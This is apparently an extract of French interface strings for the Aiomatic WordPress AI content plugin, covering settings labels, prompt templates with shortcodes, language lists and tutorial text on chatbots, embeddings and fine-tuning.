configuration "IA Image Source" ci-dessous. Le nombre maximum d'images que vous pouvez ajouter à chaque article : nombre de sections + 2Définissez le nombre de vidéos connexes à ajouter au contenu de l'article créé. Nombre maximum de vidéos pouvant être ajoutées à chaque article : nombre de sectionsDéfinissez le texte de l’espace réservé de l’entrée de chat. La valeur par défaut est : Entrez votre message de chat ici.Définissez les types d'articles pour lesquels des liens automatiques doivent être créés dans les articles. Vous pouvez également ajouter une liste de plusieurs types d'articles séparés par des virgules.Définissez la finalité du prompt à envoyer à l'auteur de l'IA, afin qu'il prenne conscience qu'il peut envoyer des courriels. Ce prompt ne sera ajoutée à la conversation que si l'utilisateur saisit, dans le message envoyé à l'IA, l'un des mots-clés suivants : email, e-mailDéfinit le prompt à envoyer à l'IA lorsqu'il clique sur cette commande dans l'éditeur de texte. Vous pouvez également utiliser le shortcode %%selected_text%%.Définissez le prompt à utiliser pour la fonction de l'IA Ecriture de commentaire. Vous pouvez utiliser les shortcodes suivants : %%post_title%%, %%post_excerpt%%, %%username%%, %%comment%% - par défaut : Rédigez une réponse au commentaire de %%nom_utilisateur%% sur l'article intitulé "%%titre_de_l'article%%". Le commentaire de l'utilisateur est le suivant : %%commentaire%%Définissez le Prompt à utiliser pour la fonction AI Taxonomy Description Writer. Vous pouvez utiliser les shortcodes suivants ici : %%term_name%%, %%term_id%%, %%term_slug%%, %%term_description%%, %%term_taxonomy_name%%, %%term_taxonomy_id%% - par défaut : Rédiger une description pour un %%term_taxonomy_name%% WordPress avec le titre suivant : "%%term_name%%" : "%%nom_du_terme%%"Définissez le Prompt à utiliser pour la fonctionnalité AI Taxonomy SEO Description Writer. Vous pouvez utiliser les shortcodes suivants ici : %%term_name%%, %%term_id%%, %%term_slug%%, %%term_description%%, %%term_taxonomy_name%%, %%term_taxonomy_id%% - par défaut : Rédiger une description pour un %%nom_taxonomie%% WordPress avec le titre suivant : "%%nom_taxonomie%%" : "%%nom_du_terme%%". Ceci définira la description SEO pour les plugins SEO suivants : Yoast SEO, All In One SEO, Rank Math.Définissez le Prompt qui sera envoyée au rédacteur de contenu de l'IA. Vous pouvez utiliser des shortcodes pour obtenir les valeurs saisies par les utilisateurs dans le formulaire. Les shortcodes doivent avoir le format suivant : %%ID_du_champ_de_saisie%%, [2], [3] : %%ID_of_the_input_field%%Définissez le Prompt que vous utiliserez lors de la recherche de rubriques connexes. Vous pouvez utiliser les shortcodes suivants : %%post_title%%, %%needed_heading_count%%. Le modèle utilisé sera le même que celui sélectionné pour la création du contenu. Si vous laissez ce champ vide, le Prompt par défaut sera utilisée : rédigez %%nombre_d'en-têtes_nécessaires%% questions relatives à l'AAP, chacune sur une nouvelle ligne, pour le titre : %%titre_du_poste%%"Définissez le Promptque vous utiliserez lors de la recherche de rubriques apparentées. Vous pouvez utiliser les shortcodes suivants : %%post_title%%, %%need_heading_count%%. Le modèle utilisé sera le même que celui sélectionné pour la création du contenu. Si vous laissez ce champ vide, le Prompt par défaut sera utilisée : Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction "Créateur de shortcodes personnalisés" dans les paramètres de la règle - cela vous permettra de créer des prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Définir la liste des mots obligatoires qui s'appliqueront à toutes les règles du plugin.Définir la taille de l'image vedette générée.Définit le texte du bouton d'envoi de ce formulaire.Définir le texte de l'en-tête de la section Q&R (Question Réponse). La valeur par défaut est : Q&RDéfinit le texte de la table des matières. La valeur par défaut est : Table des matièresDéfinit le texte de l'en-tête de la section de l'extrait de l'article. Cette option est facultative.Définissez le texte du bouton d’envoi. La valeur par défaut est : SoumettreDéfinissez le délai d'attente (en millisecondes) entre chaque appel ultérieur à l'API. Cela permettra de limiter les appels à l'API, de sorte que le quota d'appels à l'API ne soit pas atteint pour votre compte.Définissez le délai d'attente (en secondes) pour chaque règle en cours d'exécution et pour l'édition automatique des messages. Je vous recommande de laisser ce champ à sa valeur par défaut (3600).Définissez le titre de ce formulaire.Définissez le type du Pompt que vous créez.Définissez le type de ce formulaire.Définissez la largeur du formulaire de chatbot intégré. La valeur par défaut est 460pxDéfinit le style d'écriture du contenu créé. Cela définit la valeur du shortcode %%writing_style%%, qui peut être utilisé dans les messages-guides ci-dessous. Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction "Créateur de shortcodes personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Définir le ton d'écriture du contenu créé. Cette fonction définit la valeur du shortcode %%writing_tone%%, qui peut être utilisé dans les messages-guides ci-dessous. Vous pourrez également utiliser les codes courts personnalisés définis dans la fonction "Créateur de codes courts personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Définissez ce champ de saisie comme obligatoire (le formulaire ne peut pas être soumis s'il n'est pas rempli).Définit le modèle à utiliser lors de la génération d'images. La valeur par défaut est stable-diffusion-512-v2-0.Définit le préréglage à utiliser lors de la génération d'images. La valeur par défaut est NONE.Définissez l'endroit où vous souhaitez ajouter le résultat de l'assistant d'intelligence artificielle - au-dessus ou au-dessous du texte sélectionné.ParamètreConfiguration de votre clé APIRéglagesParamètres sauvegardés.ShonaShona (Google Traduction)Brève description du PromptShortcodeShortcode alternatif : Code court pour cette règle
                    (pour cross-post de ce plugin dans d'autres plugins) :AfficherAfficher les options avancées du formulaire pour les utilisateurs :Afficher l'en-tête sur le front-end*Afficher la vidéo du tutorielAfficher les entrées de l'éditeur de texte enrichi de WP pour les résultats du formulaire IA :Afficher/masquer les paramètres avancés du modèleAfficher/masquer la liste des catégoriesAffiche les paramètres avancés de cette règle.SindhiSindhi (Google Traduction)SingapourCréateur d'un seul article IACingalaisCinghalais (Google Traduction)URL du siteURL du site:TaillePasser l’importation de l’article si aucune image libre n’a été trouvée : Passer l’édition du contenu de l'article:Passer l'édition de l'extrait de l'article :Passer l’édition du titre de l’article :SlovaqueSlovaque (Google Traduction)SlovèneSlovène (Google Traduction)Petit haut-parleur de salonHaut-parleur intelligent pour la maisonMontre intelligente ou objet portableSmartphoneSomalienSomali (Google Traduction)Quelques remarques importantes :Quelques informations générales sur le système.Trier les résultats parTrier les résultats par :SourceSource : La source de la demande.EspagneEspagnolEspagnol (Google Traduction)Spécifier la langue par défaut pour le contenu régional.La voix en texte à l'aide de l'API WhisperLa voix en texte est une fonction qui permet à l'intelligence artificielle de convertir la parole en texte. En règle générale, vous enregistrez un morceau de musique et l'IA le transcrit en texte. Cette fonction peut s'avérer utile à diverses fins, par exemple pour transcrire des entretiens, dicter des notes ou rendre le contenu audio plus accessible.Spin / Rotation & TraduireSpin & Traduire :Faire tourner le texte à l'aide de mots synonymes (pour les articles générés automatiquement uniquement) :SportsStabilité.IAStability.IA APIParamètres de l'API Stability.IA :Image de diffusion stableGénérateur d'images de diffusion stablesStandardCommencéStatistiquesParamètres statistiques :StatutÉtape 0 : Lisez attentivement ce tutoriel et regardez la vidéo du tutorielÉtape 0 : TutorielSélectionnez le modèle que vous souhaitez utiliser pour les intégrationsÉtape 1 : Créer vos données pour le réglage finÉtape 1 : Personnaliser le comportement du chatbotÉtape 1a : Ajouter un nouveau EmbeddingÉtape 1a : Chargeur de donnéesÉtape 1a : Importer les formulaires IA par défautÉtape 1b : Créez vos propres formulaires IAÉtape 1b : Saisie manuelle de l'ensemble de donnéesÉtape 1b : Télécharger les encodages / Embeddings à partir d'un fichier CSVÉtape 1c : Convertisseur de donnéesÉtape 2 : Ajouter le Chatbot à votre site webÉtape 2 : Indexation automatique des messages existantsÉtape 2 : Jeux de donnéesÉtape 2 : Commencez à former votre modèleÉtape 2 : Utiliser les formulaires IAÉtape 3 : Vérifier l'état d'avancement du réglage finÉtape 3 : Dresser la liste des éléments ajoutésÉtape 3 : Finalités du modèleÉtape 3 : Tester le ChatbotÉpingléSupprimez le JavaScript des réponses HTML des chatbots :Supprimer le titre du contenuSupprimer le titre du contenu :Couleur du bouton Soumettre :Couleur du bouton Soumettre :Couleur du bouton Soumettre :Couleur du texte du bouton d'envoi :Texte du bouton de soumission*Offre d'Adhésion :SuccèsSuffixe pour les compléments d'information fin :Suffixe pour le réglage fin des Prompts:Suggérer une série de mots-clés pertinents en anglais pour votre site WordPress %s : "%s". Ces mots-clés doivent être étroitement liés au %s, afin d'optimiser sa visibilité. Veuillez présenter les mots-clés dans un format séparé par des virgules, sans utiliser de symboles tels que -, #, etc.Suhosin Post Valeur maximale LongueurSuhosin Poster Valeur Longueur max:Suhosin Post Max VarsVariables maximale de post Suhosin:Demande de Suhosin Max VarsSuhosin Demander Max Vars:Suhosin est un système avancé de protection des applications PHP. Elle a été conçue pour protéger vos serveurs d’une part contre certains problèmes bien connus des applications PHP et, d’autre part contre des vulnérabilités potentielles, encore inconnues, de ces applications ou du noyau PHP lui-même. \Si elle est activée sur votre serveur, Suhosin peut être configurée pour augmenter ses limites d’examen des données.SoudanaisSundanais (Google Traduction)SupportMaintenu Jusqu’au :SwahiliSwahili (Google Traduction)SuèdeSuédoisSuédois (Google Traduction)Synchroniser les voix de ElevenLabs.io :Sync EmbeddingsSynchroniser les fichiersSync Fine-tunesSynchroniser les formulairesSynchroniser les voix de synthèse vocale de Google :Info systèmeInformations systèmeASTUCE : Il n'est pas nécessaire d'ajouter un prompt ou des suffixes de complément dans les données ci-dessus, car le plugin s'en chargera automatiquement. Il ajoutera automatiquement à vos données les suffixes définis dans le menu "Paramètres principaux" du plugin.CONSEIL : Vous devez ajouter un prompt ou des suffixes de complément dans les données que vous téléchargez, veuillez vérifier plus de détails sur les recommandations de conception des Prompts de formation,Noms des balises / Tags :Tags PromptTadjikTadjik (Google Traduction)TamoulTamoul (Google Traduction)Contenu cibleTatarTatar (Google Traduction)Rédacteur de la description de la taxonomieTeluguTelugu (Google Traduction)TempératureModèle pour le shortcode %%web_results%% :TexteComplétion de texteCodes courts de complétion de texteÉdition de texteCode court d’édition de texteModération de texteLa complétion de texte est une fonction qui permet à l'IA de poursuivre un texte saisi par l'utilisateur. Pour utiliser cette fonction, vous devez généralement saisir un morceau de texte et l'IA doit générer la suite de ce texte. Cette fonction peut être utilisée à diverses fins, par exemple pour trouver des idées pour une histoire ou pour compléter une phrase de manière naturelle.L'édition de texte est une fonction qui permet de demander à l'IA de modifier un texte de différentes manières. Par exemple, vous pouvez saisir un texte et demander à l'IA de le réécrire sur un ton plus formel ou informel, de le simplifier ou de corriger les erreurs grammaticales. Cela peut s'avérer utile pour améliorer la qualité d'un contenu écrit ou l'adapter à différents publics.La modération de texte est une fonction qui permet à l'intelligence artificielle de filtrer le contenu indésirable de votre site. En règle générale, vous définissez des règles ou des critères pour déterminer ce qui constitue un contenu indésirable, et l'intelligence artificielle examine le contenu entrant et filtre tout ce qui répond à ces critères. Cette fonction peut être utilisée à diverses fins, comme la prévention du spam, le blocage des contenus offensants ou le maintien d'un environnement communautaire positif.Paramètres de l'API de la synthèse vocale :Restrictions de la synthèse vocale pour les utilisateurs connectés :Restrictions de la synthèse vocale pour les utilisateurs non connectés :Limites d'utilisation de Text-to-Speech (synthèse vocale)La synthèse vocale n'est pas prise en charge si les "réponses instantanées" du chatbot ne sont pas activées. Veuillez vous rendre dans l'onglet "Paramètres du chatbot" et activer le champ de paramètres "Activer les réponses instantanées du chatbot".Paramètres de l'API Texte-vidéo :TextRazorListe des clés API TextRazor (facultatif) (utilisée pour l’extraction de mots-clés pertinents à partir du texte) :Zone de texteThaïlandaisThaï (Google Traduction)Merci d'avoir choisi Aiomatic, et j'ai hâte que le plugin vous aide à créer un contenu et des fonctionnalités extraordinaires pour votre site WordPress !Voilà! Vous avez configuré avec succès un chatbot alimenté par l’IA sur votre site Web WordPress à l’aide du plugin Aiomatic. Ce chatbot peut être un outil précieux pour interagir avec les visiteurs de votre site Web, répondre aux questions fréquemment posées et fournir une assistance personnalisée.Le shortcode %%ai_generated_title%% peut être utilisé dans le champ de configuration "Liste des titres des postes / TXT File URL / RSS Feed URL", pour obtenir des titres partiellement ou entièrement générés par l'IA.La constante %s est activée, de même pour WP-Cron.La constante %s est activée. WP-Cron est désactivé.L'assistant AI est une fonctionnalité qui vous permet d'ajouter un bouton à l'éditeur WordPress pour vous aider dans la création de contenu. Vous pouvez ajouter vos propres menus avec vos propres Prompts. L'assistant AI est compatible à la fois avec Gutenberg et l'éditeur classique. Naviguez vers votre éditeur Gutenberg ou Classic Editor et recherchez le logo du plugin Aiomatic dans la barre d'outils. Cliquez sur le logo et sélectionnez le menu que vous souhaitez utiliser. Cliquez sur le Prompt que vous souhaitez utiliser. Veuillez noter que vous devez utiliser la fonction "Convertir en bloc" dans l'éditeur Gutenberg pour utiliser l'assistant AI.Le rédacteur IA peut ajouter le titre de l'article au contenu de l'article créé. Cochez cette case si vous souhaitez supprimer le titre du contenu de l'articleLe rédacteur IA peut ajouter le titre de l'article au contenu de l'article créé. Cochez cette case si vous souhaitez supprimer le titre du contenu de l'article.Ce qui précède est une clé API gratuite DeepL :Le plugin Aiomatic fonctionne en conjonction avec l'API OpenAI ou avec AiomaticAPI (selon ce que vous choisissez d'utiliser). Pour l'utiliser, vous devez d'abord créer un compte sur OpenAI et coller votre clé API dans les paramètres du plugin (onglet "Clés API" en haut). OpenAI offre un crédit de 5 $ pour les nouveaux utilisateurs. Si vous voyez un message indiquant "Vous avez dépassé votre quota actuel, veuillez vérifier votre plan et les détails de facturation", cela signifie que vous avez épuisé votre quota OpenAI et que vous devez acheter plus de crédit auprès d'OpenAI.Le plugin Aiomatic fournit un ensemble de fonctionnalités robustes pour gérer et surveiller l'utilisation des services d'intelligence artificielle. Ce tutoriel vous guidera à travers la fonctionnalité "Limites et statistiques" du plugin Aiomatic.L'URL de l'image source à animer par la vidéo du pilote, ou une sélection dans la liste des acteurs de studio fournis.L’URL de la page d’accueil de votre site.La durée (en secondes) que votre site passera sur une seule opération avant d'être hors délai (pour éviter les blocages serveur)La fonction de chatbot vous permet de discuter avec un robot d'intelligence artificielle, de lui poser des questions et d'obtenir des réponses. En règle générale, vous saisissez une question ou une déclaration, et l'IA génère une réponse. Cette fonction peut être utilisée à diverses fins, par exemple pour répondre à des questions fréquemment posées, fournir une assistance à la clientèle ou simplement avoir une conversation.Le fichier csv doit contenir les données d'intégration sur la première colonne, chaque nouvelle donnée sur une ligne différenteLa langue par défaut utilisée par WordPress. Défaut = AnglaisLes formulaires vous permettront d'étendre les fonctionnalités de votre site, de fournir des réponses personnalisées aux questions des utilisateurs ou même de créer des sites Web d'adhésion IA. Ces formulaires pourront être utilisés en plus des shortcodes conventionnels "intégrés" fournis par le plugin. Ces shortcodes "intégrés" sont listés dans l'onglet "Buil-in Shortcodes" ci-dessus.La plus grande taille de fichier qui peut être contenue dans un poste.La taille maximale d'un fichier pouvant être téléversésur votre site WordPress.ID de licence pour les photos à rechercher.La principale différence entre le mode de publication ''Basé sur le titre/appels unique à l'API'' et le mode de publication ''Basé sur les sujets/appels multiples à l'API'' est que le mode 'Basé sur les sujets/appels multiples à l'API'' effectue une demande API distincte pour chaque chapitre du contenu (+intro, extrait de l'article, q&a) et compose l'article à partir du résultat de chacune de ces demandes API distinctes. L'affichage ''Basé sur le titre'' fera une seule demande d'API pour l'ensemble du contenu de l'article. Pour les articles plus longs, il est recommandé d'utiliser la méthode ''Basé sur les sujets/appels multiples de l'API''.Les principales étapes de la création d'embeddings sont les suivantesLes principales étapes de la création de formulaires sont les suivantesLes principales étapes du réglage fin sont les suivantesLa quantité maximale de mémoire (RAM) que votre site peut utilise en une fois.Le nombre maximum de variables que votre serveur peut utiliser pour une seule fonction pour éviter les surcharges.Le nombre maximum de variables que votre serveur peut utiliser pour une seule fonction afin d'éviter les surcharges. Il s'agit d'un paramètre optionnel, car le plugin peut également gérer les cas où cette valeur est inférieure à la valeur requise.L'identifiant des medias n'a pas été trouvé dans la base de données : L'identifiant des medias n'a pas été analysé correctement, veuillez réessayer.L'identifiant des medias n'a pas été transmis correctement, veuillez réessayer.Le nombre d’éléments (articles, pages) que cette règle a générés jusqu’à présent.Le nombre de résultats à renvoyer pour chaque requête.L'ordre dans lequel les photos retournées doivent être triées. Deafults to date-posted-desc (sauf si vous effectuez une requête géographique radiale, auquel cas le tri par défaut se fait par distance ascendante à partir du point spécifié).Le plugin n'est pas enregistré. La mise à jour automatique est désactivée. Veuillez acheter une licence ici et enregistrer le plugin à partir du menu 'Paramètres principaux' en utilisant votre code d'achat. Comment trouver mon code d'achat ?Le plugin ajoutera automatiquement des méta-descriptions SEO générées par l'IA aux articles de votre site.Le plugin ajoutera automatiquement des liens vers d'autres articles de votre site, en fonction des mots-clés de chaque article.Le plugin ajoutera automatiquement des catégories aux articles de votre site.Le plugin ajoutera automatiquement des commentaires aux articles de votre site.Le plugin ajoutera automatiquement des balises aux articles de votre site.Le plugin génère du contenu IA, qui sera ajouté au contenu de chaque article.Le plugin génère des images générées par l'IA ou des images libres de droits, qui seront affectées en tant qu'images vedettes pour les articles.Le plugin réécrira le contenu textuel de l'article en utilisant l'IA.L'URL racine de votre site.La version de MySQL installée sur votre serveur d'hébergement.La version de PHP installée sur votre serveur d'hébergement.La version de WordPress installée sur votre site.Aucun registre de modifications disponible.Ces règles sont actuellement en cours d'exécution sur votre serveur.Cette fonctionnalité n'est actuellement prise en charge que pour les clés API OpenAI.Cette fonctionnalité n'est actuellement prise en charge que si vous entrez une seule clé API OpenAI dans le menu "Paramètres principaux" du plugin.Cette fonctionnalité n'est actuellement prise en charge que pour les clés API OpenAI !Cette fonctionnalité du plugin est désactivée ! Veuillez l'activer à partir de l'interrupteur ci-dessus.Cette fonctionnalité tente de supprimer la catégorie d'articles par défaut de WordPress. Cela peut échouer si aucune catégorie supplémentaire n'est ajoutée, car WordPress exige au moins une catégorie pour chaque article.Cette fonctionnalité va essayer de supprimer la catégorie d'articles par défaut de WordPress. Cela peut échouer si aucune catégorie supplémentaire n'est ajoutée, car WordPress exige au moins une catégorie pour chaque article.Il s'agit d'une version d'essai du plugin. Les mises à jour automatiques pour ce plugin sont désactivées. Veuillez activer le plugin à partir de la liste ci-dessous, afin de bénéficier des mises à jour automatiques !C'est peut-être le plus grand " joyau caché " d'Aiomatic. Il est capable de combiner sa puissance avec n'importe quel autre plugin que j'ai créé, permettant au contenu généré par l'IA d'être produit dans des articles créés par n'importe quel autre de mes plugins. Imaginez avoir du contenu généré par l'IA dans tous vos plugins, qu'il s'agisse de médias sociaux, de plugins de scraper ou d'articles d'actualité. Avec Aiomatic, ce rêve est désormais une réalité.Il s’agit de l’ID de la règle.Il s’agit de l’ID de la règle. Il s'agit du journal principal de votre plugin. Ici seront listées toutes les instances des règles que vous exécutez ou qui sont automatiquement exécutées par les tâches de planification (si vous activez la journalisation, dans la configuration du plugin).Ce mot-clé sera remplacé par un lien que vous aurez défini.Ce mot-clé remplacera le mot-clé de recherche que vous avez défini. Laissez ce champ vide si vous souhaitez uniquement ajouter une URL au mot-clé spécifié.Cette option vous permet de sélectionner si vous souhaitez exécuter la publication en mode asynchrone. Cela signifie qu'à chaque fois que vous publiez un article, le plugin essaiera d'exécuter sa tâche en arrière-plan - il ne bloquera plus la publication de nouveaux articles, pendant qu'il termine son travail.Cette option permet au plugin de ne pas créer de catégories qui n'existent pas déjà sur votre site. Pour de meilleurs résultats dans ce cas, assurez-vous d'ajouter au prompt la liste des catégories à partir desquelles l'IA doit faire son choix.Cette option permet au plugin de ne pas créer de balises/Tags qui n'existent pas déjà sur votre site. Pour de meilleurs résultats dans ce cas, assurez-vous d'ajouter à le Prompt la liste des balises à partir desquelles l'IA doit sélectionner.Cette extension ne peut pas être activé car il nécessite une version PHP supérieure à%1$s. Veuillez mettre à jour votre version de PHP avant de l'activer.Ce plugin ne peut pas être activé car il nécessite une version WordPress supérieure à %1$s. Veuillez aller à Tableau de bord -> Mises à jour pour obtenir la dernière version de WordPress.Ce plugin est à jour.Ce plugin générera du contenu pour vous, même dans votre sommeil en utilisant l’IACe processus a déjà commencé !Il sera ajouté à chaque message envoyé par le plugin à l'auteur de l'IA. Vous pouvez utiliser les shortcodes suivants : %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Créateur de shortcodes personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu. Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.Il sera ajouté à chaque message envoyé par le plugin à l'auteur de l'IA. Vous pouvez utiliser les shortcodes suivants : %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Mise à jour : les shortcodes imbriqués sont également pris en charge (shortcodes générés par des règles provenant d'autres plugins). Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonctionnalité "Créateur de shortcodes personnalisés" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu. Vous pourrez également utiliser les shortcodes personnalisés définis dans la fonction "Custom Shortcode Creator" à partir des paramètres de la règle - cela vous permettra de créer des Prompts partiellement ou entièrement générées par l'IA qui seront utilisées pour les générateurs de contenu.TigrinyaTigrinya (Google Traduction)HeurePériode de tempsCréneau horaire :Heure : L'heure à laquelle la demande a été faite.Délai d’expiration de l’exécution de la règle (secondes) :Trucs et astuces :TitreOptions d'affichage basées sur le titreBasé sur le titre/appel unique à l'APIIdée de titre / Mots-clésTitre du PromptTitre du Prompt:Texte du titreTitre et ContenuTitre*Pour obtenir plus de détails sur chaque fonctionnalité, il vous suffit de naviguer vers les onglets correspondants en haut de cette page de menu. Dans chaque onglet, vous trouverez des vidéos tutorielles qui vous guideront dans l'installation, la configuration et l'utilisation de chaque fonction. Ces vidéos vous guident pas à pas, afin que vous puissiez tirer le meilleur parti des fonctions cachées d'Aiomatic.Pour ajouter le chat bot à votre site web, veuillez inclure le shortcode [aiomatic-chat-form] à l'endroit souhaité sur votre site.Pour commencer à utiliser le plugin, cliquez sur l'onglet "Activation du plugin" ci-dessus et enregistrez votre code d'achat Envato. Cela vous permettra de bénéficier de toutes les fonctionnalités de ce plugin. Pour savoir comment trouver votre code d'achat pour le plugin, consultez la page suivantePour mieux comprendre comment cela peut se produire, il est utile de comprendre d'abord comment la partie de génération de contenu du plugin fonctionne. Dans la plupart des cas, lorsque vous demandez au plugin de créer un article avec un titre généré par l'IA, 5 titres, une intro + extrait de l'article et une section Q&R (questions et réponses), le plugin envoie une requête API pour générer le titre, 5 requêtes API différentes pour les titres, 3 requêtes API pour les sections intro, extrait de l'article et Q&R (questions et réponses). Ainsi, pour un seul article, il peut y avoir 9 appels d'API ou plus à OpenAI/AiomaticAPI. Si chaque demande prend 20 secondes pour recevoir une réponse, cela signifie que la génération de cet article peut prendre jusqu'à 180 secondes au total.Pour convertir des fichiers au format JSONL, vous pouvez utiliser laPour commencer, vous pouvez entrer un sujet ici et commencer à générer le titre et le contenu !Basculer vers les options avancéesJetonsHaut du contenu de la rubriqueTop_pSujetOptions de publications basées sur des sujetsBasé sur les sujets/appels multiples à l'APIFormationFiches de formationLangue source de traduction :TransportCorbeilleVoyageEssayez de traduire les mots-clés de la recherche en anglais : TsongaTsonga (Google Traduction)TurquieTurcTurc (Google Traduction)TurkmèneTurkmène (Google Traduction)TutorielTutoriel vidéoTutoriel vidéo :TwiTwi (Google Traduction)Deux fois par jourTypeType*Type : Le type d'unités répertoriées.URLURLs où ne pas montrer le Chatbot :USDUkrainienUkrainien (Google Traduction)Ultimate Membership ProSous Paramètres avancésSous Champs de saisieSous le champ RésultatComprendre son fonctionnementCode de réponse HTTP inattendu : %sMalheureusement, le délai de connexion par défaut de Cloudflare est fixé à 100 secondes. Cela signifie que si vous utilisez le plan par défaut de Cloudflare et que vous ne recevez pas toutes les réponses d'OpenAI dans la fenêtre de 100 secondes, Cloudflare atteindra sa limite de temps, ce qui entraînera l'arrêt complet de la création de contenu. Toutefois, les utilisateurs de CloudFlare Enterprise ont la possibilité d'étendre ce délai à 6 000 secondes, soit par l'intermédiaire de l'API de Cloudflare, soit en contactant le service clientèle. Notez que seul le plan Entreprise de CloudFlare permet de modifier ces paramètres.Émirats Arabes UnisRoyaume-UniÉtats-UnisTravail du gouvernement des États-UnisUnitésUnités : Le nombre d'unités utilisées pour la demande.Mise à jour inconnue statut "%s"Découvrez le véritable potentiel des fonctionnalités cachées d'Aiomatic, en exploitant la puissance de l'IA pour rationaliser votre gestion de contenu, optimiser votre bibliothèque de médias, engager votre audience et améliorer l'impact visuel de votre site web. Il est temps de porter votre expérience WordPress vers de nouveaux sommets avec Aiomatic !Options de l'API Unsplah :Mettre à jour la source de l’articleMis à jourEnvoyerTélécharger nouveau fichierTélécharger sur OpenAIChargement en coursUrduOurdou (Google Traduction)Graphiques d'utilisationLimites d'utilisationJournaux d’utilisationMessage de limite d'utilisationUtilisez des titres d'articles générés par l'IAUtilisez des titres d'articles générés par l'IA :Utiliser d'autres jetons de continuation (expérimental) :Utilisez la méthode de publication asynchrone :Utiliser des requêtes de recherche différentes pour les imagesUtiliser la même requête de recherche pour les imagesUtiliser les titres du champ de paramétrage "Liste des titres des messages"Utilisez l'incitation au contenu ci-dessus pour créer l'ensemble de l'article (et non chaque section)Utilisez le message-guide ci-dessus pour créer l'intégralité de l'article (et non chaque section) :Utilisez le shortcode suivant pour ajouter le chatbot personnalisé à votre site :UtilisateurCouleur de fond de la bulle utilisateur :Gestionnaire des conversations des utilisateursCouleur de police de l’utilisateur :Nom d'utilisateur :Message réservé à l'utilisateur :Rôle d'utilisateur:Plafond de jeton utilisateur par jour :Les données de conversation de l'utilisateur ont été supprimées.Utilisateur : L'utilisateur qui a fait la demande.Utiliser CloudFlare pour ce site web ?Utiliser un serveur web LiteSpeed pour ce site web ?Assistant IAGrâce à cette fonctionnalité, vous pourrez créer automatiquement des données d'intégration à partir des articles que vous avez déjà publiés sur votre site. Vous pouvez configurer le plugin pour qu'il indexe automatiquement les articles, les pages, les produits ou tout autre type d'article personnalisé. Les embeddings seront automatiquement créés à partir de leurs données. Vous pouvez changer le modèle qui est utilisé pour la création automatique des embeddings, à partir du menu 'Main Settings' -> 'Embeddings' tab -> 'Auto Created Embeddings Template' settings field.Quel est le mot clé ou l'expression que je dois utiliser pour effectuer une recherche sur Internet afin d'obtenir des résultats en rapport avec ce texte ? "%%original_prompt%%"?OuïghourOuïghour (Google Traduction)OuzbekOuzbek (Google Traduction)TRES IMPORTANTValeurClé API ValueSERP (facultative) (utilisée pour les rubriques connexes et l'accès à l'internet IA)Clé ValueSERP (facultatif)VecteurVerticalVidéoLongueur maximale des caractères des légendes vidéo dans les PromptsLongueur maximale des caractères de la légende de la vidéo dans les Prompts :Sous-titrage vidéo Langues préféréesSous-titrage vidéo Langues préférées :VietnamienVietnamien (Google Traduction)Voir les publications généréesVoir plusVoir la conversation de l'utilisateurVoir les détailsVisiterVisiter la page de l'extensionVisitez votre site Web et recherchez le chatbot. Interagissez avec le chatbot en tapant des questions ou des phrases dans la fenêtre de chat. Vérifiez que le chatbot répond correctement en fonction des règles que vous avez définies.Langue de la voix :Nom de la voix :Hauteur de la voix :Vitesse de la voix :Mode débogage WPWP Debug Mode :Taille maximale de mise en ligne WordPressTaille maximale de téléchargements PHP :Limite de mémoire WPWP Memory Limit:WP MultisiteWP Multisite:Version WPVersion WP:URL WP-CronAttention ! Cette fonctionnalité n'est pas prise en charge par AiomaticAPI !Attention ! Cette fonctionnalité n'est pas prise en charge par l'API Azure OpenAI !Liste d'adresses de proxy Web :Authentification du proxy Web :SemaineBienvenueAiomatic - Rédacteur automatique de contenu d'IABienvenue sur le plugin Aiomatic !Bienvenue dans ce guide complet sur l'utilisation de la fonction d'édition automatique des articles du plugin Aiomatic. Cet outil puissant utilise l'intelligence artificielle pour éditer et améliorer automatiquement vos articles WordPress, ce qui vous permet d'économiser du temps et des efforts tout en garantissant que votre contenu est optimisé et attrayant. Que vous publiiez de nouveaux articles, que vous rédigiez du contenu ou que vous révisiez des articles existants, le plugin Aiomatic peut être configuré pour appliquer automatiquement une série de modifications. Il s'agit notamment de la réécriture du contenu, de l'attribution d'images vedettes, de l'ajout ou de la préparation de contenu généré par l'IA, de l'ajout de liens internes, de l'insertion de commentaires connexes et de la génération de méta-descriptions SEO.Bienvenue dans ce tutoriel complet sur la fonctionnalité "AI Playground" du plugin Aiomatic. Cet outil puissant exploite les capacités de l'intelligence artificielle pour fournir une large gamme de fonctionnalités qui peuvent améliorer votre expérience numérique. Dans ce tutoriel, nous aborderons plusieurs fonctionnalités clés de l'AI Playground, notamment la complétion et l'édition de texte, la génération d'images à l'aide de technologies d'IA telles que DALL-E 2 et Stable Diffusion, une fonction de chatbot, la conversion de la parole en texte à l'aide de l'API Whisper, et la modération de texte. Chacune de ces fonctionnalités peut être utilisée de différentes manières pour générer et gérer du contenu, interagir avec les utilisateurs, etc.GalloisWelsh (Google Traduction)Que générer ?Qu'est-ce qu'un formulaire IA ?Que sont les embeddings / encastrements dans le GPT-3 ?Catégories ou étiquettes à ne pas modifier : Si vous ne souhaitez pas modifier certaines catégories ou étiquettes, vous pouvez les spécifier ici.Qu'est-ce qu'Aiomatic ?Qu'est-ce que le réglage fin dans 